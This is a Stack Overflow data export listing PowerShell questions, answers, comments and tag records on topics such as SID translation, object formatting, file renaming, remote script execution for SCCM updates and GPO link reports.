has title: How can I capture the value of an untranslated SID in a Try/Catch code block?
downvote count: 0
answer count: 5
tagged with: powershell
has answer: http://stackoverflow.com/a/79403138
has answer: http://stackoverflow.com/a/79402635
score: 3
has body: I'm relatively new to PowerShell, so this may be something simple. I am attempting to display the translated name and original SIDs for the Groups associated with the current login. The Translated names are easy enough: [System.Security.Principal.WindowsIdentity]::GetCurrent().Groups.Translate([System.Security.Principal.NTAccount]).Value This display as such and includes an orphaned SID that could not be translated: Everyone BUILTIN\Administrators BUILTIN\Users NT AUTHORITY\INTERACTIVE CONSOLE LOGON NT AUTHORITY\Authenticated Users NT AUTHORITY\This Organization LOCAL S-1-12-X-XXXXXXXX-XXXXXXXX-XXXXXXXX-XXXXXXX NT AUTHORITY\Cloud Account Authentication The orphaned SID has been redacted with Xs. This is part of a larger script and I am attempting to capture this section as HTML like the following: $currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent() | Select-Object Name, @{n='Groups';e={$_.Groups | Foreach-Object { try { $_.Translate([System.Security.Principal.NTAccount]).Value + ' (' + $_.Value +')' } catch [Exception] { Out-Null } }}} | ConvertTo-Html -As List -Fragment In this example, I am suppressing the Exception, but I have not found a way to display the object that is causing the exception ("Translate" with "1" argument(s): "Some or all identity references could not be translated."). Is there a way to list the object that caused the exception? I tried with the following: $_.Exception.TargetObject The TargetObject was empty. Is there perhaps an if/else construct that could be used if an exception is encountered?
upvote count: 3
accepted answer: http://stackoverflow.com/a/79402635
has answer: http://stackoverflow.com/a/79400936
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/79401238
possible better answer: http://stackoverflow.com/a/79401238

http://stackoverflow.com/q/79375151
possible better answer: http://stackoverflow.com/a/79375613
tagged with: newline
type: Question
has comment: http://stackoverflow.com/comment/139978199
downvote count: 0
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/139978141
tagged with: powershell
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79375363
has title: PSCustomObject returns with extra return(s)
accepted answer: http://stackoverflow.com/a/79375363
answer count: 2
linked to: http://stackoverflow.com/q/62833168
has comment: http://stackoverflow.com/comment/139977884
has body: Using the documentation Everything you wanted to know about PSCustomObject $myObject = [PSCustomObject]@{ Name = 'Kevin' Language = 'PowerShell' State = 'Texas' } $myObject Above results with Name Language State ---- -------- ----- Kevin PowerShell Texas Note the last line is a empty or a blank return. Is there a means to remove that? If I convert the object to a string with $myObject | Out-String).TrimEnd("`r`n").Trim() The returns leave but I think there must be a means to do this without changing to a string ?
tagged with: formatting
favorite count: 0
linked to: http://stackoverflow.com/q/77635452
has answer: http://stackoverflow.com/a/79375613
has comment: http://stackoverflow.com/comment/139977930
has comment: http://stackoverflow.com/comment/139977897

http://stackoverflow.com/comment/139873335
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79309989
score: 0
has text: If the output is in clear text, as shown in The last example, you can do a split for '&', pipe it to a foreach-object, and The another split for '=', then you get the parameter and value in an array that you can use indexing to ger har you want.

http://stackoverflow.com/comment/140001323
type: Comment
comment on: http://stackoverflow.com/q/79387608
score: 1
has text: To answer your question _as asked_, you'd need a third parameter set called something like ```BuildAndPermission``` which is applied to all 4 parameters in addition to the ones you've already got and which is used in your third scenario. This can quickly get out of hand if you have more parameters though - have a look at @SantiagoSquarzon's answer for a more sophisticated approach.
type: QuestionComment

http://stackoverflow.com/comment/139895833
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79294790
has text: Thank you so much Josef this is the answer I was looking for. Also thank you for the article!
type: Comment

http://stackoverflow.com/comment/139888849
type: Comment
has text: @Luuk sorry, I'm dumb. Edited my answer.
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79323142

http://stackoverflow.com/comment/140024462
comment on: http://stackoverflow.com/q/79399751
type: QuestionComment
score: 2
type: Comment
has text: Thanks, i was able to show the hidden folder in the editor and then delete it;)

http://stackoverflow.com/q/79420062
type: UnansweredQuestion
score: 1
upvote count: 1
answer count: 2
has title: How do I preserve the order of one array to the second in PowerShell?
has comment: http://stackoverflow.com/comment/140064508
has answer: http://stackoverflow.com/a/79421751
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/79420203
downvote count: 0
has body: I am trying to rewrite a entire directory of files. I am renaming each file under certain conditions. Then I capitalize each word in a string that represents the filename. But after entering the loop to capitalize each word, the array becomes unordered according to the first array it was given. # contains the list of filenames. $files = Get-ChildItem $dirPath -File | ForEach-Object {$_.Name} # Begin the loop and manipulation foreach ($item in $files) { $myString = $item -replace "-", " " $myString = $myString -replace "_", " " $myString = $myString -replace "Whatsnew", "whats new" $myString = $myString -replace "howto", "how to" $words = $myString.Split(" ") $capitalizedWords = $words | ForEach-Object { $_.Substring(0,1).ToUpper() + $_.Substring(1).ToLower() } $result = $capitalizedWords -join " " $new_path = ($dirPath + "\" + $result) Rename-Item "$($dirPath)\$item" "$new_path" } This renames the files but the file I capitalized to Installing.pdf is only 200kb and the original file that is ordered in the $files array is 700kb. I do not understand how to keep both arrays indexed in the same order.
has comment: http://stackoverflow.com/comment/140063367
tagged with: powershell

http://stackoverflow.com/comment/139924601
score: 0
has text: What happens if, from an _elevated_ session, you _omit_ the `-Credential` argument?
comment on: http://stackoverflow.com/q/79347202
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/140027682
comment on: http://stackoverflow.com/a/79401189
has text: @MathiasR.Jessen nevermind, i see why it is working, i've clarified that in the answer. as long as he uses the path as argument it should be fine
type: Comment
score: 1
type: AnswerComment

http://stackoverflow.com/comment/139984918
score: 0
has text: `description` is an existing parameter on `Set-ADUser`, `Cost-Center` is not. If you want to Add / Replace / Remove custom attributes you can use `-Add`, `-Replace` or `-Remove` parameters.
type: QuestionComment
comment on: http://stackoverflow.com/q/79378997
type: Comment

http://stackoverflow.com/comment/140038189
comment on: http://stackoverflow.com/a/79406753
has text: Thanks! I presume it isn’t possible to have anything like that one liner example I gave since it’s multi level. Your two-loop solution is still much simpler than the clunky idea I had and it’s also still intuitive to look at
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139934099
score: 0
has text: Which line is giving the error? Most Systems have moved from a Username/Password to a credential. With Username/Password the Password is not encrypted and is venerable to hacker getting the password. A credential the Password is encrypted which makes it more secure. I think Get-Secret is returning a null value. Try registering a vault value using : https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.secretmanagement/register-secretvault?view=ps-modules
comment on: http://stackoverflow.com/q/79352065
type: QuestionComment
type: Comment

pipe
tags question: http://stackoverflow.com/q/79341602
type: Tag
tags question: http://stackoverflow.com/q/79349191
tag name: pipe

http://stackoverflow.com/comment/139922701
comment on: http://stackoverflow.com/a/79345788
type: Comment
has text: @noscodemos it doesn't work without `&` because bareword commands (like `.\dir\script.ps1`) are interpreted _literally_, so PowerShell looks for a folder with the name `$VirtualEnvName` (which probably doesn't exist). As soon as you add the invocation operator (`&`), it becomes an _argument_, and `$VirtualEnvName` is evaluated as you expect
type: AnswerComment
score: 1

http://stackoverflow.com/a/79278439
type: Answer
downvote count: 0
has body: To add to Jeff Zeitlin's helpful answer: Unfortunately, there is no built-in way to directly retrieve operator-specific help content as of PowerShell (Core) 7 v7.5. While Get-Help does offer substring-based search and filtering by category (-Category HelpFile limits the search to the conceptual about_* topics), it is usually too blunt a tool to find the single topic / subsection thereof that is of interest: The substring is used verbatim, and only one may be passed. The search is slow. For instance, # Note the need to quote '-replace', so that it isn't mistaken for one # of Get-Help's parameter names. The argument positionally binds to -Name. Get-Help '-replace' -Category HelpFile yields: Name Category Module Synopsis ---- -------- ------ -------- about_Comparison_Operators HelpFile about_Operators HelpFile about_Operator_Precedence HelpFile about_PSItem HelpFile about_Regular_Expressions HelpFile That is, if more than one topic matches the search, a list of matching topics is shown, and, as you can see, while the topic of interest, about_Comparison_Operators, was among the results, other topics that mention the operator were matched too. GitHub issue #11339 is a feature request to bring focused lookup of operator documentation to PowerShell, by introducing support for -Category Operator, so that you could then use: # WISHFUL THINKING as of PowerShell 7.5: # Get focused help on the -replace operator # (may alternatively be passed as '-replace'). Get-Help replace -Category Operator Custom function Show-OperatorHelp can fill the gap for now: Assuming the function is defined, here are example uses: # Opens the home (overview) page for all PowerShell operators Show-OperatorHelp # Lists all operators in the console, # along with their friendly names and categories. Show-OperatorHelp -List # Opens the help topic (section) for the -replace operator. # Equivalent of Show-OperatorHelp -Name '-replace' # because you omit the initial '-'; if you do specify it, quote the entire…
answers question: http://stackoverflow.com/q/79277893
score: 1
upvote count: 1

http://stackoverflow.com/comment/139882578
has text: It looks like a limitation in .NET. See [GitHub issue #10996](https://github.com/PowerShell/PowerShell/issues/10996)
comment on: http://stackoverflow.com/q/79324379
type: QuestionComment
score: 2
type: Comment

http://stackoverflow.com/comment/139852302
comment on: http://stackoverflow.com/a/79307730
type: Comment
score: 0
has text: @VerityFreedom, if you execute `chcp 1251` _before_ calling `powershell.exe`, Windows PowerShell's `Get-Content` and `Set-Content` will use Windows-1252 by default (which in the case of `Get-Content` means that it is used _in the absence of a BOM_), and `-Encoding Default` can be used to refer to it explicitly.
type: AnswerComment

http://stackoverflow.com/comment/139879894
type: AnswerComment
has text: ah ok... I had the idea over silvester, that "Get-NTFSAccess" could be part of the "ISE-Console". but your answer makes more sense... I wish a happy new year :-)
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79317868

http://stackoverflow.com/comment/139869162
has text: Because `$a` and `$b` have a different property name (`Group` for `$a` and `GroupMembership` for `$b`)
comment on: http://stackoverflow.com/q/79317839
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79411620
type: Answer
answers question: http://stackoverflow.com/q/79409696
score: 0
has body: Your first line contains an unknown variable, $userEmail. Next, Get-DistributionGroupMember appears to be binding DisplayName from the groups, which is not guaranteed to be unique. Here are the unique properties you can pass instead Name Alias Distinguished name (DN) Canonical DN Email address GUID That aside, even if your command worked, you would not end up with a list of distribution groups, you would end up with a list of distributiongroup members. I recommend breaking your command up by first getting the distribution groups, then you can do something like add the members as another property of the groups, then finally you can process against that list. $user = "test1@rtest.com" $dllist = Get-DistributionGroup $dllist = $dllist | Select-Object *,@{n='Members';e={$_.distinguishedname | Get-DistributionGroupMember}} foreach($dl in $dllist){ if(@($dl.members.PrimarySmtpAddress) -contains $user){ "$($dl.Name) contains $user" } } Note that I surrounded the potential members primarysmtpaddress in @() so that even if the list contains one member it will be treated as an array. You may also want to check if there are any members first and skip those that are empty.

http://stackoverflow.com/q/79350568
type: Question
answer count: 1
tagged with: powershell
has answer: http://stackoverflow.com/a/79354684
has body: I have the following script: $job = Invoke-Command -ComputerName $hostname -ScriptBlock {powershell.exe -ExecutionPolicy Bypass -File $using:localScriptPath -InstallApproved} -AsJob -Credential $credentials My variables are set elsewhere in the script. This code successfully kicks off a PowerShell script on the remote server, however it seems as though it does not leave the script running. As its a large SCCM update script, I need it to execute it and move on, rather than sit around and wait for it to complete as I have multiple servers - how can I do this? I tried -AsJob and it didnt work.
score: 0
has comment: http://stackoverflow.com/comment/139931011
type: UnansweredQuestion
has title: PowerShell - Running a script on a remote server using WinRM
tagged with: winrm

http://stackoverflow.com/comment/139752989
has text: _"...the PowerShell (Core) 7 CLI, falls into category (b), i.e. it does handle `CTRL_CLOSE_EVENT` events..."_ I put a demo of what seems to be a robust way of doing that (at least on Windows) [here](https://github.com/PowerShell/PowerShell/issues/13664#issuecomment-2518847078).
type: Comment
comment on: http://stackoverflow.com/a/79245869
score: 0
type: AnswerComment

mocking
type: Tag
tags question: http://stackoverflow.com/q/79415861
tags question: http://stackoverflow.com/q/79412056
tag name: mocking
tags question: http://stackoverflow.com/q/79326343

executionpolicy
type: Tag
tags question: http://stackoverflow.com/q/79340443
tag name: executionpolicy
tags question: http://stackoverflow.com/q/79449651

http://stackoverflow.com/comment/140026278
has text: @user66001: Understood (as noted, the WinForms message-box solution works in this particular case, but isn't a general `$host.UI.PromptForChoice()` alternative). I suggest switching to Visual Studio Code + its PowerShell extension: it'll give you both the IDE-like features of the ISE _and_ an integrated console (terminal) that behaves the _same_ as standalone console (terminal) windows.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79392267
type: AnswerComment

http://stackoverflow.com/a/79388746
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/140005477
has body: I think you have an issue with your token since the error occurs already in line 1. Where are you getting it from? I'm a big fan of Graph, but in this case, it might be easier to use the Exchange Online module...
answers question: http://stackoverflow.com/q/79386797

http://stackoverflow.com/comment/139932561
score: 1
has text: thank you so much. I copied your code and replaced the variables and it works, so that particular itch has now been scratched. For the life of me, I can't find the difference between your script and mine, but it works, so I'm happy enough.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79351325

http://stackoverflow.com/a/79409740
answers question: http://stackoverflow.com/q/79392746
score: 0
has body: using var stream = await _graphClient.Drives[driveId].Root.ItemWithPath(filePath).Content.GetAsync();
type: Answer

http://stackoverflow.com/comment/140005477
has text: Using exchange module is not possible. I need to get it with Azure application. please help me with this, I can provide you with any necessary details needed.
type: Comment
comment on: http://stackoverflow.com/a/79388746
type: AnswerComment
score: 1

http://stackoverflow.com/comment/139815999
comment on: http://stackoverflow.com/q/79287889
score: 1
type: QuestionComment
type: Comment
has text: Sure will check and post an answer

http://stackoverflow.com/comment/139940563
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79347074
type: Comment
has text: @bigmojo see the update

http://stackoverflow.com/q/79416673
has answer: http://stackoverflow.com/a/79488089
answer count: 1
tagged with: powershell-7.4
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/140060045
has comment: http://stackoverflow.com/comment/140060024
accepted answer: http://stackoverflow.com/a/79488089
tagged with: powershell
has comment: http://stackoverflow.com/comment/140058129
score: 0
has comment: http://stackoverflow.com/comment/140058772
has title: I can not run php shell_exec with powershell 7.4
type: Question
tagged with: php
has body: I have a powershell script that would output system variable values: env_output.ps1 $Env:UserDomain $Env:ComputerName $Env:UserName I can get an output when I use this php function to call powershell v5 file $output_switch = shell_exec('powershell.exe -File C:\inetpub\env_output.ps1'); print_r ($output_switch); But when I switch to to use powershell v7.4, I got no output. $output_switch = shell_exec('pwsh.exe -File C:\inetpub\env_output.ps1'); print_r ($output_switch); Windows 2019 Server with IIS and PHP. Both powershell executables are in the system path variable.

http://stackoverflow.com/comment/139796900
type: QuestionComment
has text: I think it is called `literal initializer` and I wouldn't call it "Alternate Syntax", it is more the "New Syntax", knowing that it exists since PowerShell V3.0 (12 years ago), Besides, the `New-Object` cmdlet is sometimes even called **legacy**. Personally I think [creating a new instance using the `New-Object` should be avoided by now](https://github.com/PowerShell/PSScriptAnalyzer/issues/2046) (meaning: if you aren't in clear need of those PowerShell legacy versions).
type: Comment
score: 1
comment on: http://stackoverflow.com/q/79276698

http://stackoverflow.com/comment/139852422
score: 0
has text: You can use ALC for PowerShell 7 that way you can load the crypto assembly in the load context and it won't conflict with v8 from pwsh 7.4. I can add a sample but it would be kinda extensive. This module is an example of how ALC looks: https://github.com/santisq/PowerShellKusto/tree/main/src/PowerShellKusto.Shared
type: AnswerComment
comment on: http://stackoverflow.com/a/79302035
type: Comment

http://stackoverflow.com/comment/139926472
score: 0
type: QuestionComment
type: Comment
has text: This should be on StackOverflow, it has not much to do with systems or software and is much more of a programming/scripting question. I can't vote to move because I misclicked and the stupid system doesn't know what misclicking and correcting that is, hence this comment.
comment on: http://stackoverflow.com/q/79348302

http://stackoverflow.com/comment/140047246
score: 0
comment on: http://stackoverflow.com/q/79411096
type: QuestionComment
has text: As I said, the script works perfectly well when launched manually, the only problem is when it is triggered by the task. Then it skips 3 oldest OUs. I tested it manually about 20 times and every time it was OK. So the script is obviously fine, there must be something wrong with the task.
type: Comment

http://stackoverflow.com/comment/140030229
type: QuestionComment
type: Comment
has text: Please directly update your question with the sample XML, and make sure that it is a minimal, but _complete_ document that exhibits the problem. However, given that Joseph's answer seemingly worked, @mclayton's hunch was likely correct: XPath queries (such as via `Select-Xml`) are namespace-sensitive, whereas PowerShell's property-based adaption of the `[xml]` DOM is not.
score: 0
comment on: http://stackoverflow.com/q/79401312

http://stackoverflow.com/comment/140021303
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79397862
score: 0
has text: Yes you are correct, it's for containers. See this [SO Answer](https://stackoverflow.com/a/65024701/2150063) for more details. One of the limitations you may be encountering is due to UAC Prompts, and how you simply can't "accept" an interactive UAC prompt remotely.

http://stackoverflow.com/a/79416309
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79407490
accepted answer of: http://stackoverflow.com/q/79407490
downvote count: 0
type: Answer
has body: tl;dr Mathias has provided the crucial pointer: PowerShell's tab completion (aka command completion) supports wildcard expressions so that - rather than trying to roll a complication custom solution - you can simply prefix your substring with *; to use your example: *underTab will complete to both code-understanding and file-underlined (repeatedly pressing Tab cycles through the matches; with your custom Set-PSReadLineKeyHandler -Key Tab -Function MenuComplete, all completions will be presented in a menu). Background information: Wildcard-based command completion: With literal strings, PowerShell's command completion uses prefix matching, i.e. the input string must match the start of commands. Expressed in wildcard terms, underTab behaves like (Get-Command).Name -like 'under*', i.e. a trailing * is implied. Wildcard expressions are matched as such (except that a trailing * is always implied), and a preceding * therefore effectively performs substring matching, i.e. the literal part is matched anywhere in command names. You can even use wildcard metacharacters multiple times; e.g., *readl*handlerTab completes to Get-PSReadLineKeyHandler, Remove-PSReadLineKeyHandler, and Set-PSReadLineKeyHandler. Capitals-based command completion: PowerShell (Core) 7 offers a little-known command-completion method based on matching capital letters in command names. E.g., t-mm completes Test-ModuleManifest, but note the following: The capital of the verb part of the command name (Test in this example) must be followed by - Every capital letter must be specified (in order) in order to match a command name; e.g., s-t completes to Start-Transcript and Stop-Transcript, but not to Start-ThreadJob, because the latter has one additional capital, J (that is, s-tj is needed to match it). This approach can not be combined with wildcards. Also note that many built-in cmdlets come with superficially similar aliases that use a standardized alias prefix that is defined for each approved verb, e.g. s…
score: 1
upvote count: 1

http://stackoverflow.com/comment/139757128
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79254833
score: 0
has text: You need to set `shell` i.e. `shell: pwsh -File {0}` or `shell: powershell -Command "& '{0}'"` as mentioned in the last point of under [Exit codes and error action preference](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions#exit-codes-and-error-action-preference).

http://stackoverflow.com/comment/139764104
has text: Since your paths contain square brackets, use `-LiteralPath` instead of `-Path` where applicable
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/79259441

http://stackoverflow.com/q/79297680
has answer: http://stackoverflow.com/a/79297988
type: Question
accepted answer: http://stackoverflow.com/a/79297988
tagged with: powershell
answer count: 1
type: AnsweredQuestion
has title: mimekit, how to create a TextRfc822Headers from an .eml message in a file
tagged with: c#
has body: I need to create an TextRfc822Headers from the headers of a message stored as an .eml file on disk. Of course I can MimeMessage.Load the complete message and set the body to null but why load and parse the full message when I only need the headers? I can also HeaderList.Load the headers but I found no way to use the resulting HeaderList to create a new body-less MimeMessage what is the cleverest/ most efficient way to create a TextRfc822Headers from the headers of a message stored as an .eml file on disk?
score: 0
tagged with: mimekit

http://stackoverflow.com/comment/139780097
score: 0
comment on: http://stackoverflow.com/q/79254833
has text: According to [this documentation](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_preference_variables?view=powershell-7.4#psnativecommanduseerroractionpreference), you need to set `$PSNativeCommandUseErrorActionPreference` to `$true` if you want native commands like `git` to respect `$ErrorActionPreference`. By doing so your git command should produce an exception that is caught by your catch.
type: QuestionComment
type: Comment

sql-agent-job
type: Tag
tags question: http://stackoverflow.com/q/79395776
tag name: sql-agent-job

custom-action
tag name: custom-action
tags question: http://stackoverflow.com/q/79375630
type: Tag

assemblies
tags question: http://stackoverflow.com/q/79279210
type: Tag
tag name: assemblies

http://stackoverflow.com/comment/140027629
comment on: http://stackoverflow.com/a/79397850
score: 0
has text: Glad to hear it, @user66001.
type: AnswerComment
type: Comment

quoting
tags question: http://stackoverflow.com/q/79388953
type: Tag
tag name: quoting
tags question: http://stackoverflow.com/q/79334513

http://stackoverflow.com/a/79245560
score: 1
upvote count: 1
has body: Not sure how useful it can be for your use case but using a NamedPipeConnectionInfo does work ending the script gracefully. Main difference with a Job is that Jobs don't outlive their parent process. The issue clearly isn't related to Stop-Process but with the underlying TerminateProcess function. $script = { param($path) end { 'started' | Set-Content $path while ($true) { [System.Threading.Thread]::Sleep(100) } } clean { 'clean' | Add-Content $path } } try { $process = Start-Process -FilePath pwsh.exe -ArgumentList '-nop', '-noninteractive' -PassThru $path = Join-Path $pwd "$($process.Id)_log.txt" $pipe = [System.Management.Automation.Runspaces.NamedPipeConnectionInfo]::new($process.Id) $rs = [runspacefactory]::CreateRunspace($pipe) $rs.Open() $ps = [powershell]::Create($rs).AddScript($script).AddArgument($path) $null = $ps.InvokeAsync() while (-not (Test-Path $path)) { Start-Sleep -Milliseconds 200 } $ps.Stop() } finally { ${ps}?.Dispose() ${rs}?.Dispose() ${process}?.Kill() } Get-Content $path
answers question: http://stackoverflow.com/q/79245097
downvote count: 0
has comment: http://stackoverflow.com/comment/139740030
type: Answer

http://stackoverflow.com/comment/139905291
has text: googling the error it says it requires I am global admin, I have that permission now
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79320969
score: 0

http://stackoverflow.com/comment/139757289
score: 0
has text: @iRon expand archive works with zip files not .iso.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79253460

http://stackoverflow.com/a/79397850
has comment: http://stackoverflow.com/comment/140027617
has comment: http://stackoverflow.com/comment/140027629
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/140027345
downvote count: 0
has comment: http://stackoverflow.com/comment/140027370
type: Answer
answers question: http://stackoverflow.com/q/79397536
upvote count: 3
has comment: http://stackoverflow.com/comment/140027392
has comment: http://stackoverflow.com/comment/140027267
accepted answer of: http://stackoverflow.com/q/79397536
score: 3
has comment: http://stackoverflow.com/comment/140027305
has comment: http://stackoverflow.com/comment/140027326
has body: Your symptom suggests that you're using Windows PowerShell (the legacy, ships-with-Windows, Windows-only edition of PowerShell whose latest and last version is 5.1), where Start-Process's -ArgumentList parameter inexplicably doesn't accept $null, @() (an empty array / enumerable) or '' (the empty string). Fortunately, this unhelpful constraint has been removed in PowerShell (Core) 7, which now interprets any of these inputs as the signal to pass no arguments, i.e. to behave the same as if -ArgumentList hadn't been specified at all. In other words: your code would work as-is there. However, the splatting technique described in Santiago's answer alone is not enough for a robust solution: A long-standing Start-Process bug that won't be fixed (see GitHub issue #5565) unfortunately requires use of embedded double-quoting around arguments that contain spaces, e.g. -ArgumentList '-foo', '"bar baz"' Therefore, use the following: for ($i = 0; $i -lt $Installs.count; $i++) { # Create a hashtable for splatting that originally just contains # a value for the -FilePath and -Wait parameters. $splat = @{ FilePath = $Path Wait = $true } # Only add an 'ArgumentList' entry if an install path was given. if ($installPath = $Installs[$i].Path) { # Enclose the install path in "..." if it contains spaces. $splat.ArgumentList = ($installPath, "`"$installPath`"")[$installPath -match ' '] } # Note the use of @ instead of $ in order to achieve splatting. Start-Process @splat } Note: The ($installPath = $Installs[$i].Path) conditional: Assigns the value of $Installs[$i].Path to helper variable $installPath... ... and - due to enclosure of the assignment in (...)) - outputs the assigned value, which is then tested using implicit to-Boolean coercion: The value is assumed to be a string, and PowerShell coerces any nonempty string to $true, so that if ($Installs[$i].Path) is in effect shorthand for if ('' -ne $Installs[$i].Path) ($installPath, "`"$installPath`"")[$installPath -match ' '] is an app…
has comment: http://stackoverflow.com/comment/140027257
has comment: http://stackoverflow.com/comment/140027278

log4net
tag name: log4net
type: Tag
tags question: http://stackoverflow.com/q/79393526

http://stackoverflow.com/comment/140020843
type: Comment
score: 0
has text: In short: The automatic `$_` variable (whose alias is `$PSItem`) is only ever meaningfully defined inside _script blocks_ (`{ ... }`), such as in `ForEach-Object` and `Where-Object` calls, calculated properties, and [delay-bind script blocks](https://stackoverflow.com/a/52807680/45375), which are required in your case. See [this answer](https://stackoverflow.com/a/55667981/45375) for details.
comment on: http://stackoverflow.com/q/79396258
type: QuestionComment

http://stackoverflow.com/comment/139885445
comment on: http://stackoverflow.com/q/79326343
score: 1
type: QuestionComment
type: Comment
has text: Thanks very much, @MarkWragg. If you'd like to make your comment into an answer I'll accept it.

http://stackoverflow.com/a/79279177
score: 0
answers question: http://stackoverflow.com/q/79275748
has body: TL;DR None of the testing described below suggests anything unusual about the binding of the ScriptBlock in [scriptblock]::Create().GetSteppablePipeline(): It seems to behave as though it were bound to the same SessionState as the command whose whose reference is passed to the SteppablePipeline methods. In fact, Set-Variable works exactly as expected for local variables that aren't in param(). Script block binding doesn't seem to explain why param() variables aren't visible to descendant scopes. Direct Observation of ScriptBlock.SessionStateInternal Consider the script binding.ps1 in this reference code which creates and invokes script block $sb using the methods # call &amp; $sb # steppable . { [CmdletBinding()]param() $pipe = $sb.GetSteppablePipeline($MyInvocation.CommandOrigin,@()) $pipe.Begin($PSCmdlet) $pipe.End() } and extracts SessionStateInternal from each script block before and after invokation using the function getSessionState. That script produces the following results: method provenance same before after ------ ---------- ---- ------ ----- call {} True yes yes call [scriptblock]::Create() call {}.Ast.GetScriptBlock() steppable {} True yes yes steppable [scriptblock]::Create() steppable {}.Ast.GetScriptBlock() same in the table represents a reference-equality check of the before and after SessionStateInternal. So SteppablePipeline does not seem to alter SessionStateInternal of the script block from which it is derived. SessionStateInternal of Nested ScriptBlock By the same the principle as the previous section the script block ([scriptblock]::Create({ . { getSessionState {} }})) invoked using SteppablePipeline reveals SessionStateInternal for the nested {}. The script steppableSessionState.ps1 in the reference code, does that and compares that SessionStateInternal instance with others that are easily obtained. The instance of SessionStateInternal from the above line invoked with SteppablePipeline matches others according to the following table: Other Se…
type: Answer

xpath
type: Tag
tag name: xpath
tags question: http://stackoverflow.com/q/79291391

http://stackoverflow.com/a/79402333
answers question: http://stackoverflow.com/q/79401312
accepted answer of: http://stackoverflow.com/q/79401312
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/140029441
has body: I was able to do this with the following code: $allGpos = Get-GPO -All foreach ($gpo in $allGpos) { [xml]$report = Get-GPOReport -Guid $GPO.ID -ReportType Xml $report.GPO.Name $report.GPO.LinksTo.SOMPath } It outputs a string object. Don't know if that's what you're looking for or not. Hope it helps. I've never been too good with that Select-Xml cmdlet, lol. Edit: I was able to come up with something like putting it into a PS Custom Object so that it has properties you can reference later. Or when you output it, it looks like a fairly nice table using namespace System.Collections.Generic $GPOLinkReport = [List[PSObject]]::new() $allGposInDomain = Get-GPO -All foreach ($gpo in $allGposInDomain) { [xml]$report = Get-GPOReport -Guid $gpo.Id -ReportType Xml $GPOLinks = [String]::Join(&quot;,&quot;,$report.GPO.LinksTo.SOMPath) $GPOLinkReportObj = [PSCustomObject]@{ Name = $report.GPO.Name Links = $GPOLinks } $GPOLinkReport.Add($GPOLinkReportObj) } $GPOLinkReport Edit2: Here's yet another block that puts one link per name per row $GPOLinkReport = [List[PSObject]]::new() $allGposInDomain = Get-GPO -All foreach ($gpo in $allGposInDomain) { [xml]$report = Get-GPOReport -Guid $gpo.Id -ReportType Xml $GPOLinks = $report.GPO.LinksTo.SOMPath foreach ($link in $GPOLinks) { $GPOLinkReportObj = [PSCustomObject]@{ Name = $report.GPO.Name Links = $link } $GPOLinkReport.Add($GPOLinkReportObj) } } $GPOLinkReport #| Export-csv c:\temp\GPOLinks.csv -NoTypeInformation Choose your poison, lol.
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/140030186
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/140030389
has comment: http://stackoverflow.com/comment/140032226
has comment: http://stackoverflow.com/comment/140029702

http://stackoverflow.com/comment/139811573
type: AnswerComment
comment on: http://stackoverflow.com/a/79285518
type: Comment
has text: This solved my problem which other people already mentioned in comments above, but you solved my next issue where the return values were bad because I was using strings for true and false. Using $true and $false gives the correct values apparently. Not sure why it returned them at all if string values were wrong, but cest la vie.
score: 0

http://stackoverflow.com/comment/139851684
comment on: http://stackoverflow.com/a/79307730
type: AnswerComment
has text: Ugh, this is ridiculous - now you're making a new requirement nobody asked for ("supported" version). What if one needs a solution for an older version? What if there's an actual need to use CMD and EXEs that ship with older Windows versions? As per "supported" you could mention which PS version is needed.
type: Comment
score: 0

runas
tags question: http://stackoverflow.com/q/79394268
type: Tag
tag name: runas

http://stackoverflow.com/a/79284494
downvote count: 0
answers question: http://stackoverflow.com/q/79284301
score: 2
upvote count: 2
type: Answer
has comment: http://stackoverflow.com/comment/139809657
has body: The fact that Get-Command -Module <moduleName> works indicates that module auto-loading is not the problem. A more likely explanation is that the manifest attached to your module does not explicitly list TestFunction as an exported command, and as a result PowerShell cannot make out the link between the two until after the module has been imported. In your module manifest, make sure the FunctionsToExport key explicitly lists the exported function name, eg: FunctionsToExport = @("TestFunction") To update the existing manifest, use Update-ModuleManifest: Update-ModuleManifest -Path path\to\TestModul_1.01.psd1 -FunctionsToExport TestFunction
has comment: http://stackoverflow.com/comment/139809566

http://stackoverflow.com/comment/139845038
comment on: http://stackoverflow.com/q/79303993
score: 5
has text: "I wasted a lot of time, so don't redirect me to some unresponded question to get more karma" - commenters and people answering will do whatever they please. You don't get to tell people how to respond.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139875052
has text: Then just, unless there is a existing module to get your token as a secure string, just skip this analyzer rule.
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/79320755
type: Comment

http://stackoverflow.com/a/79401218
has comment: http://stackoverflow.com/comment/140027247
answers question: http://stackoverflow.com/q/79400862
score: 0
has comment: http://stackoverflow.com/comment/140027287
